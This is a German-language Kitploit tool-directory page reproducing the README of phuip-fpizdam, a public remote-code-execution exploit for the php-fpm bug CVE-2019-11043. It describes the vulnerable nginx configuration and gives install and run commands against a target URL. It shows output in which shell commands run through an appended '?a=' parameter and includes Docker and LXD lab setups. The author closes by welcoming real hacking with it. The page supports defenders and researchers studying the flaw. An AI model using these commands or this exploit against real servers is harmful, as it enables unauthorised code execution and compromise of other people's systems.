Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
phuip-fpizdam — Exploit for CVE-2019-11043 | Kitploit
Tools/GitHubGitHub/neex/phuip-fpizdam
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubneex/phuip-fpizdam

phuip-fpizdam

Exploit for CVE-2019-11043

Repository anzeigen
1.8k249vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHuiP-FPizdaM

Was ist das?

Dies ist ein Exploit für einen Fehler in php-fpm (CVE-2019-11043). In bestimmten nginx + php-fpm-Konfigurationen kann der Fehler von außen ausgelöst werden. Das bedeutet, dass ein Web-Benutzer Code-Ausführung erlangen kann, wenn Sie eine verwundbare Konfiguration haben (siehe unten).

Writeup

Da wir zu faul waren, ein Writeup zu schreiben, hat Orange Tsai eine perfekte Analyse in seinem Blog veröffentlicht. Ein Lob an ihn.

Außerdem sind meine Folien von der ZeroNights 2019 verfügbar.

Was ist verwundbar?

Wenn ein Webserver nginx + php-fpm betreibt und nginx eine Konfiguration wie die folgende hat

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

welcher zudem jegliche Skript-Existenzprüfungen (wie try_files) vermissen lässt, dann können Sie dies wahrscheinlich mit diesem Sploit hacken.

Die vollständige Liste der Vorbedingungen

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) muss an php-fpm weitergeleitet werden (vielleicht kann der Regexp strenger sein, siehe #1).
  2. Es muss eine PATH_INFO-Variablenzuweisung über die Anweisung fastcgi_param PATH_INFO $fastcgi_path_info; geben. Außerdem muss SCRIPT_FILENAME mit fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; gesetzt sein (es könnte auch ein konstanter Pfad anstelle von $document_root sein). Zunächst dachten wir, dass diese immer in der fastcgi_params-Datei vorhanden sind, aber das stimmt nicht.
  3. Es muss eine Möglichkeit geben, PATH_INFO auf einen leeren Wert zu setzen. Dieser Exploit geht davon aus, dass die fastcgi_split_path_info-Direktive vorhanden ist und einen Regexp enthält, der mit ^ beginnt und mit $ endet, sodass versucht wird, den Regexp mit einem Zeilenumbruchzeichen zu brechen.

Ist das nicht seit Jahren als anfällig bekannt?

Vor langer Zeit schränkte php-fpm die Erweiterungen der Skripte nicht ein, was bedeutete, dass so etwas wie /avatar.png/some-fake-shit.php avatar.png als PHP-Skript ausführen konnte. Dieses Problem wurde um 2010 herum behoben.

Das aktuelle erfordert keinen Datei-Upload, funktioniert in den neuesten Versionen (bis der Fix veröffentlicht wurde), und vor allem ist der Exploit viel cooler.

Wie man es ausführt

Installieren Sie es mit

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Wenn Sie seltsame Kompilierungsfehler erhalten, stellen Sie sicher, dass Sie go >= 1.13 verwenden. Führen Sie das Programm mit phuip-fpizdam [url] aus (vorausgesetzt, Sie haben $GOPATH/bin in Ihrem $PATH, andernfalls geben Sie den vollständigen Pfad zur Binärdatei an). Eine gute Ausgabe sieht so aus:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

Danach können Sie beginnen, ?a=<Ihr Befehl> an alle PHP-Skripte anzuhängen (Sie benötigen möglicherweise mehrere Wiederholungen).

Alternativ können Sie ein Docker-Image verwenden, um den Exploit auszuführen:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Spielplatz-Umgebungen

Mit Docker

Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über Docker spielen möchten, gehen Sie wie folgt vor:

  1. Klonen Sie dieses Repo und gehen Sie in das reproducer-Verzeichnis.
  2. Erstellen Sie das Docker-Image mit docker build -t reproduce-cve-2019-11043 .. Dies dauert lange, da es intern das PHP-Repository klont und aus dem Quellcode baut. Auf diese Weise wird es jedoch einfacher, wenn Sie den Exploit debuggen möchten. Die erstellte Revision ist die unmittelbar vor dem Fix.
  3. Führen Sie Docker mit docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 aus.
  4. Nun haben Sie http://127.0.0.1:8080/script.php, das eine leere Datei ist.
  5. Führen Sie den Exploit mit phuip-fpizdam http://127.0.0.1:8080/script.php aus.
  6. Wenn alles in Ordnung ist, können Sie Befehle ausführen, indem Sie ?a= an das Skript anhängen: http://127.0.0.1:8080/script.php?a=id. Versuchen Sie es mehrmals, da nur einige der php-fpm-Worker infiziert sind.

Mit LXD-Systemcontainern

Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über LXD spielen möchten, gehen Sie wie folgt vor:

  1. Erstellen Sie zwei Systemcontainer, vulnerable und attacker. Sie können das Container-Image ubuntu:18.04 für beide Container verwenden.
  2. Installieren Sie im vulnerable-Container nginx und php-fpm. Konfigurieren Sie den Server-Block wie in dieser Konfiguration. Erstellen Sie eine leere Datei /var/www/html/index.php.
  3. Installieren Sie im attacker-Container die Go-Sprache (sudo snap install go --classic), klonen Sie dieses Repository und führen Sie go build im Verzeichnis des Repositorys aus.
  4. Führen Sie den Angriff wie folgt aus: ./phuip-fpizdam http://vulnerable.lxd/index.php. Versuchen Sie es mehrmals, um alle php-fpm-Worker zu infizieren.

Für detailliertere Anweisungen siehe Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.

Über PHP5

Der Buffer-Underflow in php-fpm ist in PHP-Version 5 vorhanden. Dieser Exploit nutzt jedoch eine Optimierung zur Speicherung von FastCGI-Variablen, _fcgi_data_seg. Diese Optimierung ist nur in PHP 7 vorhanden, daher funktioniert dieser spezielle Exploit nur für PHP 7. Es könnte eine andere Exploitationstechnik geben, die in PHP 5 funktioniert.

Danksagungen

Ursprüngliche Anomalie entdeckt von d90pwn während der Real World CTF. Grundlegende Ursache gefunden von mir (Emil Lerner) sowie die Möglichkeit, php.ini-Optionen zu setzen. Endgültige php.ini-Optionen gefunden von beched.

Lizenz

Dieser Exploit wird unter den Bedingungen der MIT-Lizenz verteilt.

Verzichten Sie darauf, mit diesem Exploit Schaden anzurichten. Aber wenn Sie wirklich etwas mit diesem Ding hacken, werde ich mich freuen.

Tool herunterladen
  • Dieser spezielle Exploit geht davon aus, dass PATH_INFO nach REQUEST_URI in der Konfiguration gesetzt wird.
  • Keine Dateiexistenzprüfungen wie try_files $uri =404 oder if (-f $uri). Wenn Nginx Anfragen an nicht existierende Skripte vor dem FastCGI-Forwarding ablehnt, erreichen unsere Anfragen nie php-fpm. Dies hinzuzufügen ist auch der einfachste Weg, um zu patchen.
  • Dieser Exploit funktioniert nur für PHP 7+, aber der Fehler selbst ist in früheren Versionen vorhanden (siehe unten).